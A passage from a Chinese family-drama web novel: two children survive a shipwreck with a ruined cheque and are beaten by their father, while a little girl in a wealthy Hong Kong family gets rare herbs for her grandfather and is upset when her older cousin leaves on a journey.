黎老夫人顿时非常解气，“活该！谁让她们想害我的婉婉，老天爷就该直接收了他们！” 正在床边守着黎墨郢的小娃娃听见他们的谈话，也倒腾着小腿跑了过来。 “阿奶，是海上下大雨了吗？” 由于她个子太小，根本够不着窗台，自然也看不到海上的情况，于是她翘着脚跟，倒腾着小腿儿费劲儿的往上爬。 “哎呦，宝贝，慢着点儿，别摔到了。” 黎老夫人赶忙把小家伙抱起来，一同看着海上的风浪，如海神庄严肃穆的审判，见证着是非曲直的人心。 …… 咸腥的海水像是无数只冰冷的手，攥住童倩倩的脚踝向深处拉扯。 童斌凭借着最后的意志力，拼命的将她往门板上拉扯，仍然不敌浪头的威力，渺小的门板在大海中，宛若被抛进滚筒的石子，转瞬沉溺在狂风暴雨中。 届时。 很多乘客已经被营救上了前来救援的邮轮，是一艘更大、更宽广，能够承受暴雨的豪华邮轮。 童斌和童倩倩兄妹俩却只能在沉浮的海水中，看着那些被救援的人，去往安全的甲板。 “倩倩，我们一定得坚持住，那些人救完他们就会来救我们！”童斌大喊的时候，呛了一口海水，他的额头不知什么时候被划破，血混着海水，在他下巴凝结成红珠。 而童倩倩只感觉自己的手腕被扯得生疼，早就体力透支的她，仅凭借着最后的意志力，漂浮在冰冷的海面。 恍惚中，她似乎看见一道金光在密布的乌云中闪耀，最后化作一只五彩斑斓的凤凰，撕开了乌云，直向她俯冲而来。 童倩倩被那耀眼的光灼烧眼睛，眼前尽是白茫茫的一片，童斌的呼喊，距离她耳边越来越远。 “救命，救命啊，谁来救救我们！”童斌眼看着童倩倩失去意识，悲愤的痛哭起来。 他的声音终于唤来了救援人员，将他们捞上甲板，在确认自己获救的那一刻，腿上的伤，加上突然涌上来的后怕，让童斌和童倩倩一起，就地昏死过去。 …… 海上的风浪平息了，童倩倩睁开眼，发现自己身在医院里。 医护人员熟悉的口音，让她知道自己已经回到内陆，侥幸逃生的兴奋，让她发出阵阵瘆人的笑声。 老天爷真是开眼啊。 她竟然活了下来！ 这能否说明她才是真正的天选之女？ 凡是迫害过她的人，都等着遭受报应吧，哈哈哈！ 童倩倩鬼叫般的笑声引来了护士，在为她做了一番检查后，用冷漠的嗓音催促：“二床，这次治疗包括狂犬疫苗、破伤风、缝合，还有药品和床费，赶紧叫你家大人过来缴。” 童倩倩看着护士冷漠的脸，不屑起身拔掉了手上的针管。 “放心吧，我才不会差你们的钱。” 说完，童倩倩开始在口袋里翻找，张南给她的那张支票。 那可是足足两万块钱，在内地足够他们全家横着走！ 为了保险起见，童倩倩将支票藏在了内裤缝合的口袋里，在掏出来的刹那，童倩倩的心猛地一沉。 却见—— 那张被海水浸泡过的支票，宛若泡发的海绵，边角蜷曲发皱，原本清晰的字迹，晕成一团模糊的墨迹，连最关键的字数都看不清轮廓。 童倩倩慌张的用手背去抹，可是越擦，磨痕晕的越开，最后连出票人的名字都成了一片模糊的黑影。 这张被她给予厚望的纸张，此刻软踏踏的成了没用的抹布。 她的支票不能用了！ 意识到这一点，童倩倩刚才有多狂妄，此刻就有多么慌张、窘迫。 脸颊火辣辣的浮现烧红。 “不！”她喉咙发紧，声音细得像线，眼睛里的光一点点暗了下去。 老天爷在跟她开什么玩笑！ 护士听到她的声音，快速走了过来，用更加冷肃的声音催促：“既然不差钱就赶紧缴费，别让我一遍遍的过来催。对了，还有隔壁六床说是跟你一起的，你们赶紧通知你家大人，要是敢赖账，就等法院传票吧！” 童倩倩双手无意识的攥紧，浸水的支票转瞬成了皱巴巴的一团，她咬着牙死撑：“你这是什么态度？信不信我去护士长那里举报你？” 小护士看着面前只有八岁的小女孩儿，却露出一脸凶悍的模样，便不在与她争执，而是直接去汇报给护士长。 “海难二床和六床那两个姐弟我催过了，不愿交钱还发脾气，我看还是直接通知家长过来吧。” 护士长在医院工作数年，这样的例子见了太多，为了保险起见，直接报警让公安去找家长。 如此经过三个小时折腾，童建洲接到医院的电话。 得知他的两个孩子非但没有去学校参加活动，还在医院欠了一屁股医药费，顿时感觉天都要塌了。 第62章 半大小子吃穷家 童建洲带着家里最后的积蓄赶到医院，缴纳完了医疗的费用，他身上仅剩下一顿饭钱！ 童倩倩和童斌交不上住院费，也只能临时出院。 回去的路上，童建洲脸色阴沉的像是烧透了的锅底灰，等到了家，他抄起笤帚朝着童斌打了过去。 童斌本来腿上就有伤，躲闪得不利索，硬生生被打了两下。 童倩倩哭着抱住童建洲的大腿，央求：“爸，你别打二哥，都怪我乱跑遇到野狗，才害得二哥跟我一起被咬伤，你要打就打我吧！” “你还跟我撒谎！”童建洲并不是傻子，在去给他们缴费的时候，就知道他们是从海上被救回来的。 他用脚指头也能想到，他们去了哪里。 “你们是不是觉得，在内地跟我吃苦，到港城跟你们母亲才叫享福？” 童倩倩见她的谎话被拆穿，死死咬着唇角，眼泪顺着脸颊流下来。 “我们没有，爸，我们确实去了港城，不过不是投靠我妈，而是去向她借钱。” 童建洲非但没有理解她的苦心，反而狠狠的踹了她一脚。 厉声斥责道：“你们觉得我活不起了？要你们去找她借钱！” 童倩倩被父亲一脚踹到肚子上，疼得脸上没有血色，连说话都艰难。 童斌连滚带爬的挪过来，替童倩倩辩解：“爸，我们是看你一个人太辛苦了，想帮你分担一些，倩倩都已经借到钱了，不信你看支票，倩倩，把支票拿出来啊。” 童倩倩一想到被水浸透了的支票，肩膀垮着，像是被抽干了力气。 等她掏出皱巴巴的支票，上面的字迹完全模糊成一团，辨认不出上面写了什么。 童倩倩咬紧牙床，每一个字都是从齿缝里挤出来的。 “支票泡了水，应该是不能用了。” 童建洲上一秒还在气愤他们俩擅自去港城，此刻见到支票，立马就夺了过去。 看着上面氤的字迹，他压抑的问：“这上面是多少钱？” 童倩倩小心翼翼的看着父亲，声音颤抖：“两万。” 童建洲脑瓜子嗡的一声，头疼的快要炸了。 …… 众人守着黎墨郢快到了晚上，他终于缓缓的睁开眼睛。 “三哥哥醒啦！” 伴随着小婉婉的呼唤，黎老爷、老夫人和孙师傅全都围了上来。 “阿郢，你感觉怎么样？”黎老夫人心疼的问。 黎墨郢从床上起身，用手揉了揉额头。 “还好，你们怎么都在这儿？” 黎老夫人回道：“还能怎么？你气血太虚弱，下午突然晕倒。这一惊一乍的，是嫌我们命太长，想活活把我们吓死？” “虚弱晕倒？我怎么没有感觉？”黎墨郢说着，还活动了一下胳膊，不仅精力充沛，连带着身上的文身处都没那么疼了。 黎老爷拉着脸，不满的嘟囔：“吃了我那么多宝贝，你还好意思说没有感觉！” “行了，只要阿郢能够好起来，就别心疼你那些东西了。”黎老夫人说了他一句，随即让佣人准备晚饭。 奈何，到了饭桌上。 黎老夫人胃口大好，偶尔还时不时的给小婉婉夹肉肉，黎老爷望着满桌的美食，没有丝毫食欲。 想到被搬空的药柜，黎老爷便愁眉不展，一声接一声的叹气。 黎老夫人忍不住怼道：“你这还没完了是吧？不就是吃你一点儿中草药，那种东西医馆里有的是，回头再去买不就行了！” 黎老爷眉头紧皱的跟她拌起嘴：“你懂什么？我那些都是市面上买不到的野生草药，是纯天然的，药房怎么可能有？就算有，没个一年半载也攒不到我那么多！” 说完，黎老爷又禁不住白了黎墨郢一眼。 他想起内地有句‘半大小子吃穷家’，这话说的一点都不假！ “阿爷，天然的草药就是长在野地里的吗？”小婉婉听了半天，差不多明白阿爷为什么心情不好了，于是奶声奶气的询问起来。 黎老爷对上她懵懂的大眼睛，立刻换了一副面孔，满是慈祥的摸摸她的头。 “对呀，野地里长的草药都很稀有，阿爷根本就买不到。” “那我们去野地里挖呢？”小婉婉说的无比认真，看得出来，她是真的很想帮助黎老爷解决难题。 却听，黎老爷叹了口气。 继续耐心的跟她解释：“阿爷当然知道要去野地里挖，可是咱们港城野生的山林太少，气候更不利于草药生长，必须得去内地的大北方，才能挖到那些宝贝。” 小婉婉点了点头，一脸懂事：“因为北方太远，阿爷去不了？” “呵呵，对。” “我来帮阿爷想办法！”小婉婉说着撂下筷子，两只小脚平稳的落在地上后，倒腾着跑到了门口。 打开房门，小婉婉来到鹦鹉的鸟窝前。 “小鹦鹉，你能帮我个忙吗？” 玄凤鹦鹉立刻拍打翅膀，伸长了脖子等她继续往下说。 “你能不能找到你的朋友，帮阿爷去北方挖草药？” 玄凤鹦鹉眨了眨眼睛，记住了她的话，而后煽动翅膀绕着小婉婉飞了一周。 “找朋友挖草药，小婉婉再见，我会想你的。” “一路平安哦小鹦鹉，我也会想你的。” 小婉婉站在院子里，望着小鹦鹉飞走的方向，对它挥了挥手。 …… 张南从佣人口中得知黎墨郢已经苏醒的消息，七上八下的心跳这才平复下来。 因为没什么胃口，她没吃晚饭，直接就要回房间休息。 哪知刚要睡着，就被敲门声吵醒了。 “太太，书房有电话，是内地打来的。” 张南现在只要听见“内地”两个字，后背就阵阵的冒冷汗，冷声驳回道：“就说我睡了，不想接。” “可是对方说，如果您不接电话，他就一直打。” 张南院子里的佣人早就被她交代过，凡是内地打来的电话，都不用理会。 所以在对面打来的电话的时候，她就是这么说的。 结果那边的人根本就不要脸，一遍一遍打个没完，根本不让人休息！ “那就把电话线扯掉，别再来吵我！”张南烦躁的吼了一句。 佣人得到授意，应了声：“是。” 就准备去拔掉电话线。 可床上的张南却怎么都睡不着了，她怕拔掉了电话线，黎立轩万一有事找她，也会找不到的。 最后，张南还是起身来到书房，将电话放在耳边，疏离的“喂”了一声。 对面传来童建洲焦急又殷切的声音：“你终于接电话了，小斌和倩倩回来遇到海难，你给他们的支票泡过水，现在用不了了。” 第63章 佩服你算个男人 阔别月余，张南现在听到前夫的声音，还是禁不住犯膈应。 过去的那些不愉快，如同卡在喉咙里的鱼刺，每回忆一遍，胃里就翻江倒海。 就连她手里握着的电话机，都被玷污脏了似的。 “用不了就对了，她自己心狠手辣伤害婉婉，这都是对她的报应！童建洲，以前我只知道你不要脸，没想到你这么的没下限！ 你一边灌输孩子我到港城傍大款，一边又把我跟你之间的纠葛告诉孩子，抹黑算计从我这里拿到的钱，你花的就那么心安理得？” 张南开口就是对前夫一通炮轰。 童建洲一直都打从心里不愿意离婚，就因为他知道，没有钱，又带着四个孩子的他很难再娶。 或者他也念着张南过去的好，懊恼那么多年没信任理解她，用疑心把她逼到了出轨的地步。 可是，当他听见张南口中说出那么多难听的话，还误解他，顿时自尊心难以承受，压制不住坏脾气。 “我承认我过去是有些不好，可我上对得起天地，下对得起自己的良心！背叛这个家的人是你，你指望什么让我在孩子面前帮你说好话？你在抛弃我们的时候，就对孩子有了亏欠，那就别怪孩子们怨恨！ 还有，我打电话告诉你支票浸水，救没打算要你的钱，只是跟你说一声，我跟孩子们就算穷死，饿死，上马路上要饭，也不会再向你开口！” 童建洲一鼓作气的大吼完，才意识到，自己在冲动之下，让两个人之间的误会更深了。 而这恰好如了张南的心意，只听，电话的那一端传来冷笑。 “这样最好，我还佩服你算个男人！没别的事我挂了，但愿你能说到做到。” 嘟嘟。 童建洲手握着听筒，不断回荡的忙音，像是把他身上的力气都给抽走了。 他手捂着头，滑坐到了地上，手里还攥着那张被水浸泡透了的支票，已经彻底被他揉的粉碎。 两万块！ 他都不敢想，自己这辈子就算把命给卖了，也赚不到这么多钱。 而前妻就这么拿了出来，打电话过去的时候，童建洲内心还抱着复杂的侥幸。 一面想着或许还是记挂着这个家的，所以才会愿意借钱，她也是被穷逼得没办法才离开自己。 一面又想着，她要是真的把这些钱借了，那以后就原谅她，等个三年五载，她如果想回来，他还愿意接纳…… 哈哈哈。 多么可笑！ 让人笑掉了大牙！ 她在港城过着富太太生活，怎么可能再看得起自己！ 童建洲觉得自己简直就是自取其辱！ 他兀自痛苦了一会儿，忽然，暴躁的站起身，将破碎的支票彻底揉碎成粉末，扬在空气里。 转身，童建洲朝着一个方向走。 在他家后面的小区里，住着他的朋友。 就是仗着做生意有点起色，总在他面前秀优越感，背地里却跟他老婆搞到一起的朋友！ 凭什么自己的家被搅合得妻离子散？ 而他却能跟他老婆继续过安稳日子？ 童建洲心里不平衡，觉得他总该为此付出些代价。 …… “哎呀这……这这……” 黎老爷一打开房门，就张口结舌，被门外的场景给惊讶住！ 只见在他门前的空地上，新鲜的药草快要堆积成了小山，最底下的是层层叠叠的老山参，褐红色的主根，粗壮宛若孩童的手臂。 往上些，则是何首乌，光是看它黑褐色的表皮，如同一块天然雕琢的璞玉，就知道它的成色有多好！ 更别提那些极其罕见的冬虫夏草、石斛、野生灵芝，一看就是世间罕有的宝贝，而且还全都是新鲜的，比他拿出去的那些多了两倍都不止！ 黎老爷往前踉跄了几步，迫不及待地拿起草药确认。 “好家伙，小宝贝还真给我弄来了。”黎老爷子大喜，嘴角的皱纹都笑开了，赶忙招呼佣人：“快快，把这些都给我送去库房，慢着点儿，别给我磕着碰着！” “是，老爷。” 佣人行动起来，黎老爷还不放心的跟在旁边叮嘱：“那几支野山参放在最上面，别压着须子……何首乌得用布！冬虫夏草给我装坛！” 黎老爷脚步都轻快了不少，仿佛被这满满的草药注入了精气神，说话的尾音都上翘着。 就这么过了两个小时，佣人全都按照他的要求，将草药安置在库房，并且每一份都做了小心的包装，便于妥善保管。 “不行，这么放在这里，以后谁见了，保不齐给我拿走几个。”黎老爷来回在原地转了几圈，忽然一拍额头，兴奋的吩咐佣人：“你们现在去书房，把我那套红木柜子搬来，把这些草药都放进去！” 佣人又按照黎老爷的吩咐行动。 而黎老爷则在库房里琢磨了一会儿后，准备了毛笔和红纸，就着板凳，在上面写下一竖行毛笔字，并且还从怀里掏出印章，用力盖在上面。 等到佣人将柜子摆好，药材也都放了进去。 黎老爷又让人去拿胶水，涂抹在红纸背面。 啪！ 红纸如同封条一般黏住了柜子门，黎老爷看着自己的手笔，满意的颔首笑了。 佣人则在看见红纸上面书写的内容后，纷纷抿起嘴唇，想笑又不太敢。 因为上面写的是——乖孙女送我的礼物，谁都不准动！ “你们谁负责库房，回头有人过来拿东西，记得提醒他们，这些都是我乖孙女儿给我的，谁敢乱拿，当心他的手！” 黎老爷还是不放心，厉声对佣人吩咐。 见他们都谨慎的答应，他这才拍了拍身上的灰尘，心满意足的去找宝贝孙女儿。 …… “小鹦鹉，你辛苦了，要吃多多的哦，这样你才能像婉婉一样长得壮壮的。” 黎老爷来到黎墨郢的院里，就看见小婉婉一边给鹦鹉喂食，小嘴儿里还在嘀咕。 光是听她奶萌萌的语气，黎老爷的心就软得要化了。 是以，他加快了脚步，走到她身后，轻轻的叫了声：“婉婉宝贝？” “阿爷！”小婉婉看见黎老爷慈祥的笑脸，一下就扑进他怀里。 别看小丫头人儿不大，劲头可不小，这一下差点儿将老爷子给扑倒，摇晃了两下才站稳，勉强把她抱起来，在手里垫了垫。 “几天不见，我的乖孙女儿长了这么多？婉婉呐，你送阿爷那么些珍贵药草，告诉阿爷，你有什么想要的东西不想？” 第64章 黎老爷的宝贝乖孙女 黎老爷感念小婉婉的一片心意，说要送给她东西，也是认真的。 要知道这样的机会，放在家里任何一个孩子的身上，都会紧紧抓牢，要么满足平常难以实现的愿望，要么是帮忙解决难题。 总归要跟他谈一番条件。 黎老爷怎么也没想到，小婉婉在听到她的话后，只想了一秒钟，就脱口而出一句：“婉婉不想要东西，只想要阿爷开开心心的，身体健康。” “哎呦，我的宝贝乖孙女儿！有你这句话，阿爷说什么也得活到一百岁，多多疼爱我的婉婉，好不好？” “好！” 黎老爷话虽然这么说，望着小婉婉真挚的大眼睛，心中已然有了打算。 “你去找三哥哥吧，阿爷去跟你阿奶商量点事。” 黎老爷把小婉婉放在地上，目送她进门后，去了老夫人的院子，跟她说起心里决定。 “婉婉既然已经来了黎家，咱们也认她做了孙女，那户口也要尽快落下来，你没意见吧？” 他的提议简直正中了黎老夫人的下怀，同样把婉婉视作亲孙女儿的老夫人，对她的疼爱并不比老爷子少半分。 “我有什么意见？你要办就赶紧，派别人都不靠谱，正好阿轩还在内地，让她去找婉婉的生父，大不了给些钱，一定把婉婉户口落过来！” “好，我现在就去跟阿轩联系。” …… 小婉婉跑进门，就看见黎墨郢坐在桌子前，用铁丝编制着蜘蛛网状的东西。 小家伙凑了过去，一双圆溜溜的大眼睛满是好奇。 “三哥哥，你弄什么呢？” 黎墨郢抬眸，望着她憨乎乎的小脸，唇角一歪，起了逗她的心思。 “给你弄个嘴套，免得这张小嘴儿一天到晚闭不上。” 小婉婉立刻用手捂住小嘴儿，露出两颗叽里咕噜的大眼睛说：“不行，那样就不能吃饭饭。” “这不是有缝吗？筷子能从缝里伸进去。”黎墨郢煞有介事地拿起铁丝网，在她嘴上比了比。 小婉婉整个小人儿都呆住了，不可思议黎墨郢会给她戴嘴套。 反应过来后，小丫头撅起了小嘴儿，可怜巴巴的打着商量：“我能不戴吗三哥哥？我以后少说话。” 黎墨郢憋着笑，双手巧妙的将铁丝网围拢在一起，形成一个凹形的漏网状，只要拉住最外面的铁丝，就可以调整大小。 “来，给你试试？” “不要！”小婉婉捣腾小腿跑开，和他隔着几丈那么远。 “过来。”黎墨郢叫她。 小婉婉倔强的把头一扭：“不过去。” 放眼整个黎家，但凡比黎墨郢年纪小的孩子，还没有敢像她这么反驳他的。 但是他却并不生气，脸上的笑意，被她傲娇可爱的小样儿逗得更深了许多。 “不是给你戴，我领你到外面玩儿去。” “真的吗？三哥哥没有骗我？”原谅小婉婉，有过之前被姐姐欺骗的经历，心里都被留下阴影了。 “没骗你，过来拉着我的手。” 黎墨郢神色认真的伸出手，小婉婉这才乖乖的走过来。 因为她的手实在太小了，根本抓不住他的大手，所以便拉起他的大拇指，正好能够让她握住。 “走吧，你跟在我后面，记住了吗？” “嗯，我记住了！”小婉婉答应后，跟随他的脚步，迈开了小短腿。 黎墨郢带小婉婉去了狗舍，听见狼狗的叫声，小婉婉都不用他提醒，本能的躲在他的长腿后面，并且小手也攥得牢牢的。 “别怕，有我在，它们不敢咬你。”黎墨郢感觉到她的紧张，回头安抚道。 小家伙的眼睛里明明透着小心和谨慎，但说出来的话却是：“我才不怕狗狗呢。” 黎墨郢好笑的揉了揉她的脑门，“跟我来。” 黎墨郢带着她绕过了狗舍，果然如他所说，原本在围栏里面吠叫的狗群，在认出黎墨郢后，都安静了下来。 个别的狗还用爪子扒着栅栏门，发出‘呜呜呜’求摸摸的声音。 来到狗舍后面，就是一套独立的院子。 黎墨郢带她走了进去，立刻就有一个穿着工作服，带着白手套和白色口罩的中年男人走了过来，正是狗舍的专业饲养员。 “三少爷，今天怎么有空过来？” 黎墨郢颔首打了招呼，将手里的铁丝网交给对方。 “顺子叔，你把这个拿去狗舍给它们试试，如果好用的话，回头照着做几个，另外再把韩湘子带过来。” 刘顺接过铁丝网，观察了片刻，面露惊奇。 “这是您做的？真是精致，那我现在就去试试。” 刘顺出了大门，小婉婉坐在黎墨郢旁边的椅子上，随着小身体挪腾，两只小揪揪先凑了过来。 “三哥哥，寒香子是什么东西？” “它不是东西，别问了，一会儿你就知道。”黎墨郢强行关掉她问问题的开关，让她乖乖坐旁边等着，否则，肯定又要一个接着一个的问个没完。 小婉婉乖乖坐好。 索性刘顺去了没多久，就牵着一只浑身毛发金黄的大狗狗来到院子里。 小婉婉一见到大狗，下意识抓住黎墨郢的袖子躲避。 不过她很快就发现，之前一直满身神气，连叫声都震耳朵的大狗狗，此刻脑袋微微低着，长长的大尾巴也像条无精打采的扫帚，耷拉到了地上。 细看，原来是它的嘴，被那个铁丝网嘴套给严丝合缝的捆住了！ “三哥哥好聪明，这下它就不会咬人，也叫不了。”小婉婉不禁为黎墨郢竖起大拇指。 而浑身金色毛发的大狗似乎响应着她的话，哼唧一声接着一声，有时候还带着点儿气音。等它被带到黎墨郢面前，它委屈的抬起前爪，轻轻扒拉主人的裤腿。 两颗圆溜溜的杏仁眼，来回在他和刘顺脸上偷瞄，既像是受了委屈不敢大声哭的孩子，又像在跟他告状一般。 黎墨郢纹丝不动，命令了一句：“韩湘子，坐。” 金毛犬接收到指令，立刻挺胸抬头，摆好姿势准备坐下，奈何—— 一只黑白相间的中型猎犬竟然越狱，在冲进门的刹那，宛若装了弹簧似的弹了过来，尾巴更是摇晃得像个高速运转的小马达，一屁股把金毛犬给挤走了不说，还霸占了它的位置，将狗头硬塞进黎墨郢怀里。 黎墨郢本身就有洁癖，又要顾及身边的小婉婉，怕她被突然跑过来的边牧犬吓到，她瞬间抱着她站起身，向后弹开了一大步！ “蓝采和，谁让你出来的？” 第65章 想你了怎么办 这一次，不同于黎墨郢的大惊失色。 被他抱在怀里的小婉婉，并没有表现出害怕，而是眨着圆溜溜的大眼睛，观察着地上的两只大狗狗。 它们都不像那天在犬舍里那么凶，而是乖乖的，能听懂黎墨郢的话。 “三哥哥，蓝采和是这只狗狗的名字吗？” 黎墨郢“嗯”了一声，眉头死死的拧在一起，因为边牧犬并不像金毛犬那么听话，它完全凭借自己的想法，死赖在他身边不走。 宛若一条毛茸茸的泥鳅似的缠上他的腿，喉咙里发出“呼噜呼噜”的轻响，活脱脱像是打了兴奋剂！ “顺子叔，把它拉开！”黎墨郢命令饲养员。 刘顺忙把金毛拴在一旁，过来揪住边牧犬的项圈，结果这家伙死皮赖脸的不走，还躺在地上翻开白肚皮装死。 “三少爷，蓝采和是条聪明狗，它除了会凶人，从来没咬过人，放在这里也不会伤害小小姐的。”也是这个缘由，蓝采和一直都是饲养员最偏爱的狗，比其它狗有更多自由，所以它的胆子更大一些。 “我让你把它弄走，别让它碰我！”黎墨郢黑脸，重复命令。 刘顺这才后知后觉他有洁癖，拉着边牧犬往后撤了两米，把椅子前的空地给黎墨郢腾了出来。 黎墨郢脸色稍缓，抱着小婉婉坐回去。 彼时察言观色的边牧犬也终于看出主人不开心，安静的坐了下来，只是看见旁边被单独接见的金毛，呲着犬牙对它‘呜呜’两声。 明显是在嫉妒同事被提拔任命。 至于作为巡回猎犬的金毛，战斗指数爆表，但性格远比边境牧羊犬更稳定，外加上它被戴了嘴套，已经生无可恋，压根儿不搭理旁狗。 “呜呜，呜呜呜。”边牧被金毛同事忽略，转而又摇晃着大尾巴，求主人摸摸。 这时，心里存着疑惑的小婉婉还是憋不住，奶声问黎墨郢：“三哥哥，你不喜欢狗狗，为什么要养呢？” 黎墨郢只是黑着张脸，想起这茬就气得肝痛！ “我才不喜欢狗！是大哥，每次出差都带狗回来，他自己没空，就让我帮他照顾。” 一来二去，这些狗就成了黎墨郢养的，只认他做主人。 完美的坑弟！ “哦，原来是大哥哥喜欢狗狗，那三哥哥你可要帮他好好养哦。”小婉婉了解内情后，非但没有同情，还老气横秋的拍了拍他的肩膀，大有一副要提黎墨城监督他的意思。 黎墨郢向天翻了个白眼，哼了一声。 “那恐怕要让你失望，我过几天就要跟孙师傅出去游历，等你跟它们几个混熟了，以后都归你管。” 黎墨郢本来是怕自己出门后，家里有人找她的麻烦，所以只挑选一条性格最稳定的金毛做看护。 而且考虑到她之前被狗吓到过，他还特意给韩湘子准备了嘴套，现在看，完全没有必要。 她是真的不怕狗！ 小婉婉听了她的话，立刻瞪圆了大眼睛！ 却不是因为他要把这些狗狗给她养，而是听他说将要出门，表现出的震惊。 “三哥哥要去哪儿？” “不知道。”黎墨郢气呼呼的回了一句。 小婉婉更震惊了，跑到他面前来追问：“不知道的话，如果丢了呢？” “当我跟你一样，出了门就走丢？”黎墨郢表示自己才没那么蠢。 小婉婉见他又凶自己，难过的瘪起小嘴儿，不过她知道现在不是讨论这个的时候，更多的还是对黎墨郢的不舍。 “那我想你了怎么办？” 黎墨郢刚才还气成鼓包子的脸，最终在她纯粹的一句‘想你’后，瘪了下去。 “别说的好像我不回来一样，不会去太久的。” 黎墨郢将她抱进怀里，声音缓缓的柔和起来：“最多不出一个月，就回来了。” “一个月是多久？” “三十天。” 于是小婉婉伸出自己的十根手指头，数来数去，也只会数到‘四’，然后歪着头问：“三十是多少？” 黎墨郢：“……” 他要怎么告诉一个不会数数的孩子，三十是几？ “行了，别啰嗦，在我走之前，先把你安排好。” 黎墨郢抱着她起来，将刚才的决定交代给刘顺。 “这几天你轮流带它们去我院子里跟小婉婉熟悉，记得再招两个训犬师，把他们都规训好，确保婉婉的安全。” “好的，三少爷。” 黎墨郢抱着小婉婉离开，刘顺手里的边牧犬还在‘呜呜’的发出不舍的哭声。 搞得刘顺一直想不通，明明是自己每天投喂伺候它们，却依然只愿意臣服于黎墨郢一个人。 直到某天，他见到黎墨郢光是站在那里，便露出一身尊贵的王者气质，哪怕不发一言，也足够让人望而生畏的时候。 他才明白，那是动物界在面对强者时，流露出本能的敬畏与认可。 当然，那些都是后话了。 …… 黎墨郢将要出门远行，即便他嘴上再不承认，可也瞒不过自己的内心。 从小婉婉贸然闯入他世界的那天，便以特别的存在留在他身边，说命运安排也好，或者偶然，黎墨郢都渐渐习惯了她的存在。 从一开始的依赖，到后来的接纳，小婉婉已经成为他非常重要的家人。 就连他答应孙师傅出去游历，也是出于保护她的心意。 黎墨郢从来不会对谁吐露心事，现在、以后，都将如此。 他将所有的不舍都放在了行动，专门抽出了一天时间，将她的生活安排好。 “以后你就住在我这里，刘妈和王妈的房间我前几天收拾好了，院子里的佣人随便你使，要是实在无聊，可以让老四他们过来陪你玩，你自己别跑出去，玩的时候注意卫生，别弄的太乱。” “你的用品我让人给你全搬过来，明天我带你上街，你想买什么，提前想好。” “别太贪嘴，回头胖成猪，我抱不动你。” “还有五妈那边，你没事儿少去，有人欺负你，告诉阿爷或者阿奶，要么去找我母亲，记住了吗？” 黎墨郢也是想起来一句，对她叮嘱一句，连他自己都没发现，自己什么时候变得如此啰嗦。 他更担心，自己说了这么多，小丫头这么点儿的脑瓜，能不能记得住。 她的记性一向不差，应该都会记住的。 黎墨郢在心里安慰自己…… 第66章 骗人的孩子被大灰狼吃 阳光顺着窗帘的缝隙照进了卧室。 小婉婉翻过身下意识往里面拱，小脚也不老实地往黎墨郢的腿上搭去。 然而她拱了半天，却只拱到了一团空气，打了个小哈欠，她睁开惺忪的睡眼，一个轱辘坐了起来。 “咦？三哥哥呢？” 小婉婉发现自己的身边已经没有人了，平日惯爱赖床的黎墨郢，今天竟然起来得比她早。 小婉婉挠了挠头上乱糟糟的呆毛儿，自己换上了小衣裳，而后下地穿鞋去外面找人。 当小小的肉手卖力的推开房门，刘妈和王妈都在门口恭敬的候着。 “小小姐睡醒了？饭已经做好了，咱们先去洗洗手，把头发梳好就开饭好吗？”刘妈蹲下来，用温柔的嗓音和她商量。 小婉婉好奇的问：“为什么是你们在这儿？三哥哥去哪儿了？” 刘妈脸上的笑容一僵，下意识向身旁的王妈求助。 王妈比刘妈还要局促，赶忙蹲下来，小心的提醒她：“昨天三少爷不是带你上街，把东西都买齐全，所以今天他一早上就跟孙师傅走了。” “可是，三哥哥没说今天就走呀？”小婉婉愣眉愣眼的，完全不相信，黎墨郢真的走了。“他在跟我玩躲猫猫对不对？我知道他藏在哪里！” 自顾自的说完，小婉婉开心的笑了，朝着书房跑了过去。 刘妈和王妈纷纷头大，跟在她后面追过去。 小婉婉打开房门，特意回头对二人‘嘘’了一声，然后才蹑手蹑脚的走进去。 “三哥哥，我知道你在这里！”小婉婉忽然猫腰查看桌子底下。 却见到，下面空空如也。 小婉婉挠了挠后脑勺，果断的跑去打开柜子门。 “在柜子里！” 柜子里面也是空的。 小婉婉这下有点儿懵了，站在书房中间四处查看，又把窗帘后面，还有门口都找了一遍。 站在门口的王妈和刘妈看着这一幕，只觉得有点儿揪心。 饶是小婉婉年纪小，可她有一颗纯粹的心，对身边的人有着最诚实的留恋。 三少爷突然一走，可不得让她闪一下。 最终，刘妈实在看不下去，来到她身旁，拉住她的手说道：“小小姐，别找了，三少爷他真的走了，他交代我们俩好好照顾你。” 这下，刚才脸上还挂着笑容的小丫头，在确定黎墨郢真的离开她后，立刻就憋起了小嘴儿。 黑彤彤的大眼睛里，也弥漫起了雾气，汇聚成了晶莹的小珍珠，掉落下来。 刘妈顿时慌了手脚，一边拿出手帕给她擦拭眼泪。 一边安慰：“小小姐快别哭，三少爷说用不了多久就会回来，咱们一起在家里等他，行么？” 小婉婉点了点头，趴在了刘妈怀里，泪珠仍然不断的往下掉，用小肉手来回擦掉。 “山锅锅不告诉我，他是骗纸，骗人的孩纸被大灰狼吃。”小婉婉边抽噎边念叨，导致伶俐的口齿都没那么清楚。 好在刘妈照顾她时间久了，能听明白她说的是什么，轻拍她的后心安抚：“好了好了，不哭了小小姐，三少爷虽然不在，咱们跟大狗狗玩，还有四少爷他们，晚点儿也会过来陪你。” 小婉婉听她提到了黎墨黔，心情好转了不少，揉了揉眼睛，泪珠儿没再往下掉。 “那四哥哥什么时候来呢？” 见她的注意力成功被分散，刘妈和王妈同时松了一口气。 “吃完饭应该就来了。” …… 此次孙隆带黎墨郢出门历练，虽说要吃一些苦，可也没必要没苦硬吃。 用他常常挂在嘴边的话说：毕竟时代不同了嘛，修行方式也得与时俱进，跟上潮流。 是以，他特意向黎老爷子申请了一辆适合越野的吉普车，拉载黎墨郢绕过水路，从陆路行进。 而且孙隆载着黎墨郢出门，就一直在城里四处逛，把衣食住行要用到的东西全都采买一通，装了满满的一后备箱，然后心满意足的把黎老爷给他的存折贴身保管好。 “三少爷，该买的东西差不多都买齐了，那咱们现在正式出发？”孙隆坐进驾驶室，呲着大牙笑问。 黎墨郢起了早，没什么精神头，懒散的斜眸看他一眼。 从鼻腔里‘哼’了一声。 “走你的，是你带我去历练，还用问我？” 孙隆继续保持老狐狸似的微笑，既然看破了，还是提前说破，免得路上这位小爷再给他找堵。 “您真的不跟小小姐道个别？就这么一声不吭的走了，她跟你生气是小，恐怕也会很伤心的。” 黎墨郢瞬间就化身成了刺猬，冷声开怼：“我又不是不回来，道什么别！再说，哭哭啼啼的我还要哄她！” “对，您说的是。”孙隆面上点了点头，发动汽车，恶趣味十足地觑了他一眼。“把人哄好了还行，要是哄不好，怕您今天舍不得出大门儿。” 黎墨郢：“……” 不说实话会死！ 